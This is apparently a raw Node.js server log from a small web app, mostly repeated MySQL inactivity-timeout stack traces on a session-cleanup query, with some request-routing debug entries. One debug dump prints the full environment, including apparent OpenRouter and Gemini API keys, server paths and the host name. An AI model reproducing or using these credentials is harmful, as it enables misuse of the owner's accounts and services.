    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-03 07:22:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-03 08:15:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-03 08:15:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-03 21:36:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-03 21:36:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-03 22:29:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-03 22:29:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-03 22:41:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-03 22:41:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-03 22:53:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-03 22:53:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-04 00:43:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-04 00:43:05' as DATETIME)"
}
2026-04-04T02:32:56.702Z server-connect:router Serving templateView /
2026-04-04T02:32:56.703Z server-connect:app Executing action step identify
2026-04-04T02:32:56.704Z server-connect:app options: { provider: 'security' }
2026-04-04T02:32:56.704Z server-connect:auth No login cookie found
2026-04-04T02:32:56.704Z server-connect:output identity: false
2026-04-04T02:32:56.704Z server-connect:app Executing action step restrict
2026-04-04T02:32:56.704Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-04T02:32:56.704Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-04 10:49:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-04 10:49:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-04 15:38:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-04 15:38:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-04 21:18:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-04 21:18:07' as DATETIME)"
}
2026-04-05T00:57:41.972Z server-connect:router Serving templateView /
2026-04-05T00:57:41.974Z server-connect:app Executing action step identify
2026-04-05T00:57:41.974Z server-connect:app options: { provider: 'security' }
2026-04-05T00:57:41.974Z server-connect:auth No login cookie found
2026-04-05T00:57:41.974Z server-connect:output identity: false
2026-04-05T00:57:41.974Z server-connect:app Executing action step restrict
2026-04-05T00:57:41.974Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-05T00:57:41.975Z server-connect:output restrict: undefined
2026-04-05T00:57:42.196Z server-connect:router Serving templateView /login
2026-04-05T00:57:42.196Z server-connect:app Executing action step identify
2026-04-05T00:57:42.196Z server-connect:app options: { provider: 'security' }
2026-04-05T00:57:42.196Z server-connect:auth No login cookie found
2026-04-05T00:57:42.196Z server-connect:output identity: false
2026-04-05T00:57:42.196Z server-connect:router Render template layouts/authentication
2026-04-05T00:57:42.197Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'curl/8.6.0',
    referer: 'https://ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '170.168.29.28',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-06T00:57:42.195Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '170.168.29.28',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'HEAD',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'curl/8.6.0',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '170.168.29.28',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-05 08:33:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-05 08:33:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-05 09:45:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-05 09:45:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-05 18:36:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-05 18:36:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-05 20:01:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-05 20:01:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-05 21:14:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-05 21:14:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-05 22:59:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-05 22:59:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-05 23:18:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-05 23:18:13' as DATETIME)"
}
2026-04-06T03:17:49.746Z server-connect:router Serving templateView /
2026-04-06T03:17:49.747Z server-connect:app Executing action step identify
2026-04-06T03:17:49.747Z server-connect:app options: { provider: 'security' }
2026-04-06T03:17:49.748Z server-connect:auth No login cookie found
2026-04-06T03:17:49.748Z server-connect:output identity: false
2026-04-06T03:17:49.748Z server-connect:app Executing action step restrict
2026-04-06T03:17:49.748Z server-connect:app options: {
